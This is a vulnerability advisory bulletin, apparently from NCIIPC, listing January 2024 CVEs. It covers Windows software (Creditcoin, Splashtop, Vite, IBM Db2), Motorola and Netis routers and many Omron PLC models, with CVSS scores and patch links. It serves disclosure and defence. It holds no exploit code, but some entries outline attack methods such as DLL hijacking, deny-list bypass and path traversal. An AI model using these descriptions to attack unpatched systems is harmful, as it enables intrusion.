Untrusted Search Path	17-Jan-2024	7.8	Creditcoin is a network that enables cross-blockchain credit transactions. The Windows binary of the Creditcoin node loads a suite of DLLs provided by Microsoft at startup. If a malicious user has access to overwrite the program files directory it is possible to replace these DLLs and execute arbitrary code. It is the view of the blockchain development team that the threat posed by a	https://github.com/gluwa/creditcoin/security/advisories/GHSA-cx5c-xwcv-vhmq	O-MIC-WIND-090224/2908

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			hypothetical binary planting attack is minimal and represents a low-security risk. The vulnerable DLL files are from the Windows networking subsystem, the Visual C++ runtime, and low-level cryptographic primitives. Collectively these dependencies are required for a large ecosystem of applications, ranging from enterprise-level security applications to game engines, and don't represent a fundamental lack of security or oversight in the design and implementation of Creditcoin. The blockchain team takes the stance that running Creditcoin on Windows is officially unsupported and at best should be thought of as experimental. **CVE ID : CVE-2024-22410**		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	25-Jan-2024	7.8	The C:\Program Files (x86)\Splashtop\Splashtop Software Updater\uninst.exe process creates a folder at C:\Windows\Temp~nsu.tmp and copies itself to it as Au_.exe. The C:\Windows\Temp~nsu.tmp\Au_.exe file is automatically launched as SYSTEM when the system reboots or when a standard user runs an MSI repair using Splashtop Streamer's Windows Installer. Since the C:\Windows\Temp~nsu.tmp folder inherits permissions from C:\Windows\Temp and Au_.exe is susceptible to DLL hijacking, standard users can write a malicious DLL to it and elevate their privileges. **CVE ID : CVE-2023-3181**	N/A	O-MIC-WIND-090224/2909
Improper Resource Shutdown or Release	19-Jan-2024	7.5	A vulnerability was found in freeSSHd 1.0.9 on Windows. It has been classified as	N/A	O-MIC-WIND-090224/2910

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			problematic. This affects an unknown part. The manipulation leads to denial of service. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251547. **CVE ID : CVE-2024-0723**		
Improper Resource Shutdown or Release	19-Jan-2024	7.5	A vulnerability was found in ProSSHD 1.2 on Windows. It has been declared as problematic. This vulnerability affects unknown code. The manipulation leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251548. **CVE ID : CVE-2024-0725**	N/A	O-MIC-WIND-090224/2911
Improper Handling	19-Jan-2024	7.5	Vite is a frontend tooling framework for javascript. The Vite dev server	https://github.com/vitejs/vite/commit/91641c4da0a011d4c53	O-MIC-WIND-090224/2912

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
of Case Sensitivity			option `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows. This bypass is similar to CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems. Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. This issue has been addressed in vite@5.0.12, vite@4.5.2, vite@3.2.8, and vite@2.9.17. Users are advised to upgrade. Users unable to upgrade should restrict	52e88fc68389d4e1289a5, https://github.com/vitejs/vite/security/advisories/GHSA-c24v-8rfc-w8vw	

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			access to dev servers. **CVE ID : CVE-2024-23331**		
N/A	22-Jan-2024	7.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 federated server is vulnerable to a denial of service when a specially crafted cursor is used. IBM X-Force ID: 268759. **CVE ID : CVE-2023-45193**	https://exchange.xforce.ibmcloud.com/vulnerabilities/268759, https://www.ibm.com/support/pages/node/7105501	O-MIC-WIND-090224/2913
N/A	22-Jan-2024	7.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 is vulnerable to an insecure cryptographic algorithm and to information disclosure in stack trace under exceptional conditions. IBM X-Force ID: 270730. **CVE ID : CVE-2023-47152**	https://exchange.xforce.ibmcloud.com/vulnerabilities/270730, https://www.ibm.com/support/pages/node/7105605	O-MIC-WIND-090224/2914
Incorrect Default Permissions	21-Jan-2024	7.1	A vulnerability, which was classified as critical, was found in European Chemicals Agency IUCLID 7.10.3 on Windows. Affected	N/A	O-MIC-WIND-090224/2915

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			is an unknown function of the file iuclid6.exe of the component Desktop Installer. The manipulation leads to incorrect default permissions. The attack needs to be approached locally. VDB-251670 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0770**		
N/A	22-Jan-2024	6.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272644. **CVE ID : CVE-2023-47746**	https://exchange.xforce.ibmcloud.com/vulnerabilities/272644, https://www.ibm.com/support/pages/node/7105505	O-MIC-WIND-090224/2916
N/A	22-Jan-2024	6.5	IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server)	https://exchange.xforce.ibmcloud.com/vulnerabilities/273393,	O-MIC-WIND-090224/2917

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			11.5 under certain circumstances could allow an authenticated user to the database to cause a denial of service when a statement is run on columnar tables. IBM X-Force ID: 273393. **CVE ID : CVE-2023-50308**	https://www.ibm.com/support/pages/node/7105506	
N/A	22-Jan-2024	6.5	IBM Db2 10.1, 10.5, and 11.1 could allow a remote user to execute arbitrary code caused by installing like named jar files across multiple databases. A user could exploit this by installing a malicious jar file that overwrites the existing like named jar file in another database. IBM X-Force ID: 249205. **CVE ID : CVE-2023-27859**	https://exchange.xforce.ibmcloud.com/vulnerabilities/249205, https://www.ibm.com/support/pages/node/7105503	O-MIC-WIND-090224/2918
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service	https://exchange.xforce.ibmcloud.com/vulnerabilities/270750, https://www.ibm.com/support/pages/node/7105496	O-MIC-WIND-090224/2919

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			using a specially crafted query. IBM X-Force ID: 270750. **CVE ID : CVE-2023-47158**		
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272646. **CVE ID : CVE-2023-47747**	https://exchange.xforce.ibmcloud.com/vulnerabilities/272646, https://www.ibm.com/support/pages/node/7105502	O-MIC-WIND-090224/2920
N/A	22-Jan-2024	6.5	IIBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270264. **CVE ID : CVE-2023-47141**	https://exchange.xforce.ibmcloud.com/vulnerabilities/270264, https://www.ibm.com/support/pages/node/7105497	O-MIC-WIND-090224/2921
Improper Input Validation	16-Jan-2024	5.5	Improper Input Validation vulnerability in HYPR Workforce Access on	https://www.hypr.com/security-advisories	O-MIC-WIND-090224/2922

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Windows allows Path Traversal.This issue affects Workforce Access: before 8.7. **CVE ID : CVE-2023-5097**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	31-Jan-2024	5.4	Cross-site scripting (XSS) vulnerability in the entry overview tab in Devolutions Remote Desktop Manager 2023.3.36 and earlier on Windows allows an attacker with access to a data source to inject a malicious script via a specially crafted input in an entry. **CVE ID : CVE-2024-0589**	https://devolutions.net/security/advisories/DEVO-2024-0001/	O-MIC-WIND-090224/2923
Improper Limitation of a Pathname to a Restricted Directory	19-Jan-2024	5.3	IBM Sterling Control Center 6.3.0 could allow a remote attacker to traverse directories on the system. An attacker could send a	https://exchange.xforce.ibmcloud.com/vulnerabilities/257874, https://www.ibm.com/support/pages/node/7107788	O-MIC-WIND-090224/2924

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Path Traversal')			specially crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system. IBM X-Force ID: 257874. **CVE ID : CVE-2023-35020**		
Vendor: Motorola					
Product: mr2600_firmware					
Affected Version(s): -					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	26-Jan-2024	8.8	A command injection vulnerability exists in the 'SaveSysLogParams' parameter of the Motorola MR2600. A remote attacker can exploit this vulnerability to achieve command execution. Authentication is required, however can be bypassed. **CVE ID : CVE-2024-23626**	N/A	O-MOT-MR26-090224/2925
Improper Neutralization of Special Elements used in a Command	26-Jan-2024	8.8	A command injection vulnerability exists in the 'SaveStaticRouteIPv4Params' parameter of the	N/A	O-MOT-MR26-090224/2926

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Command Injection')			Motorola MR2600. A remote attacker can exploit this vulnerability to achieve command execution. Authentication is required, however can be bypassed. **CVE ID : CVE-2024-23627**		
Improper Neutralization of Special Elements used in a Command ('Command Injection')	26-Jan-2024	8.8	A command injection vulnerability exists in the 'SaveStaticRouteIPv6Params' parameter of the Motorola MR2600. A remote attacker can exploit this vulnerability to achieve command execution. Authentication is required, however can be bypassed. **CVE ID : CVE-2024-23628**	N/A	O-MOT-MR26-090224/2927
Unrestricted Upload of File with Dangerous Type	26-Jan-2024	8.8	An arbitrary firmware upload vulnerability exists in the Motorola MR2600. An attacker can exploit this vulnerability to achieve code execution on the device.	N/A	O-MOT-MR26-090224/2928

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Authentication is required, however can be bypassed. **CVE ID : CVE-2024-23630**		
Improper Authentication	26-Jan-2024	7.5	An authentication bypass vulnerability exists in the web component of the Motorola MR2600. An attacker can exploit this vulnerability to access protected URLs and retrieve sensitive information. **CVE ID : CVE-2024-23629**	N/A	O-MOT-MR26-090224/2929
Vendor: netis-systems					
Product: mw5360_firmware					
Affected Version(s): 1.0.1.3031					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	25-Jan-2024	9.8	NETIS SYSTEMS MW5360 V1.0.1.3031 was discovered to contain a command injection vulnerability via the password parameter on the login page. **CVE ID : CVE-2024-22729**	N/A	O-NET-MW53-090224/2930
Vendor: Omron					
Product: cj1g-cpu42p_firmware					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): * Up to (excluding) 4.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ1G-090224/2931
Product: cj1g-cpu43p_firmware					
Affected Version(s): * Up to (excluding) 4.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ1G-090224/2932

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: cj1g-cpu44p_firmware					
Affected Version(s): * Up to (excluding) 4.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ1G-090224/2933
Product: cj1g-cpu45p-gtc_firmware					
Affected Version(s): * Up to (excluding) 4.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic.	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ1G-090224/2934

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-45790		
Product: cj1g-cpu45p_firmware					
Affected Version(s): * Up to (excluding) 4.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ1G-090224/2935
Product: cj2h-cpu64-eip_firmware					
Affected Version(s): * Up to (excluding) 1.5					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2H-090224/2936

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2h-cpu64_firmware					
Affected Version(s): * Up to (excluding) 1.5					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2H-090224/2937
Product: cj2h-cpu65-eip_firmware					
Affected Version(s): * Up to (excluding) 1.5					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2H-090224/2938

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2h-cpu65_firmware					
Affected Version(s): * Up to (excluding) 1.5					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2H-090224/2939
Product: cj2h-cpu66-eip_firmware					
Affected Version(s): * Up to (excluding) 1.5					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory.	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2H-090224/2940

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2h-cpu66_firmware					
Affected Version(s): * Up to (excluding) 1.5					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2H-090224/2941
Product: cj2h-cpu67-eip_firmware					
Affected Version(s): * Up to (excluding) 1.5					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2H-090224/2942

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2h-cpu67_firmware					
Affected Version(s): * Up to (excluding) 1.5					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2H-090224/2943
Product: cj2h-cpu68-eip_firmware					
Affected Version(s): * Up to (excluding) 1.5					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2H-090224/2944

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2h-cpu68_firmware					
Affected Version(s): * Up to (excluding) 1.5					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2H-090224/2945
Product: cj2m-cpu11_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2M-090224/2946

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2m-cpu12_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2M-090224/2947
Product: cj2m-cpu13_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack,	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2M-090224/2948

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2m-cpu14_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2M-090224/2949
Product: cj2m-cpu15_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2M-090224/2950

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2m-cpu31_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2M-090224/2951
Product: cj2m-cpu32_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2M-090224/2952

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2m-cpu33_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2M-090224/2953
Product: cj2m-cpu34_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of Excessive Authentica	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions.	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2M-090224/2954

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
tion Attempts			Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2m-cpu35_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2M-090224/2955
Product: cj2m-md211_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of Excessive Authentica	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory	https://www.fa.omron.co.jp/product/security/assets/pdf/en/	O-OMR-CJ2M-090224/2956

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
tion Attempts			regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	OMSR-2023-010_en.pdf	
Product: cj2m-md212_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CJ2M-090224/2957
Product: cp1e-e_firmware					
Affected Version(s): * Up to (excluding) 1.3					
Improper Restriction of Excessive	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent	https://www.fa.omron.co.jp/product/security/assets/pdf/en/	O-OMR-CP1E-090224/2958

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Authentication Attempts			access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	OMSR-2023-010_en.pdf	
Product: cp1e-n_firmware					
Affected Version(s): * Up to (excluding) 1.3					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CP1E-090224/2959
Product: cs1d-cpu42s_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated	https://www.fa.omron.co.jp/product/security/	O-OMR-CS1D-090224/2960

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Excessive Authentication Attempts			feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	assets/pdf/en/OMSR-2023-010_en.pdf	
Product: cs1d-cpu44s_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1D-090224/2961
Product: cs1d-cpu65h_firmware					
Affected Version(s): * Up to (excluding) 1.4					
Improper Restriction	22-Jan-2024	9.1	The Omron FINS protocol has an	https://www.fa.omron.co.jp/pr	O-OMR-CS1D-090224/2962

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
of Excessive Authentication Attempts			authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	oduct/security/assets/pdf/en/OMSR-2023-010_en.pdf	
Product: cs1d-cpu65p_firmware					
Affected Version(s): * Up to (excluding) 1.4					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1D-090224/2963
Product: cs1d-cpu65s_firmware					
Affected Version(s): * Up to (excluding) 2.1					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1D-090224/2964
Product: cs1d-cpu67h_firmware					
Affected Version(s): * Up to (excluding) 1.4					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1D-090224/2965
Product: cs1d-cpu67p_firmware					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): * Up to (excluding) 1.4					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1D-090224/2966
Product: cs1d-cpu67s_firmware					
Affected Version(s): * Up to (excluding) 2.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1D-090224/2967

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
